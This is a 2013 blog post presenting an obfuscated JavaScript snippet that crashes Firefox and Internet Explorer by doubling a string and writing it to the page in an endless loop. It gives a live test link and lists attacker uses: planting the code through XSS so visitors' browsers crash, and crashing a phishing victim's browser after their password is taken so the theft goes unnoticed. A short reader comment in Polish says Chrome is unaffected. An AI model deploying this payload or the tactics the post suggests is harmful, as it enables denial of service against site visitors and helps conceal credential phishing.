Monday, 2 December 2013

DOS - Mozilla Firefox & Internet Explorer

Since some time ( I saw it at least a year ago ) there is available javascript code that cause DOS in newest versions of FF and IE. Unfortunately it doesn't work in Chrome, because each card has own process. I don't know what about Chrome or Opera, You can test it and let me know in comments. It was already reported to Mozilla long time ago ( I reported too ) but it seems they are not going to fix it.

Javascript code:
var a=String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,97,61,34,60,109 ,97,114,113,117,101,101,62,97,34,59,119,104,105,108,101,40,49,41,123,97,61,97,43 ,97,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,97,41,59,125,60, 47,115,99,114,105,112,116,62);
while(1){
a=a+a;
document.write(a);}

For test how and if it works:
WARNING, IT WILL CRASH YOUR BROWSER, OPEN ON OWN RESPONSIBILITY
https://dl.dropboxusercontent.com/u/17580849/freez.html

How it can be useful
You can say its useless and good just for making friends angry,
not only...

1. An attacker may add this code to website, so everyone who visit it will get crash, it will make website unreachable. Probably now you think - if attacker has access to website he can just delete main page or do something simpler than crashing visitors browsers. Yes, but javascript can be used in XSS attack and then its useful.

2. Attacker can also add it after phishing attack, after password getting step. Thanks to this attacker don't have to worry to show correct messages and redirection. Whats more after running that he can add ip/browser rule, so when victim visit phishing link again, will be redirected to real page. After one crash none will think something is wrong (in ff flash plugin often crash itself) and when he visit page second time, this time there will be nothing suspicious.

3. As everywhere in IT, the only limit is imagination.

At the end, Mozilla respond:



1 comment:

  1. Na Chrome exploit nie zawiesza przeglądarki, może dlatego że każda karta to oddzielny proces który można bez problemu skillować.

    ReplyDelete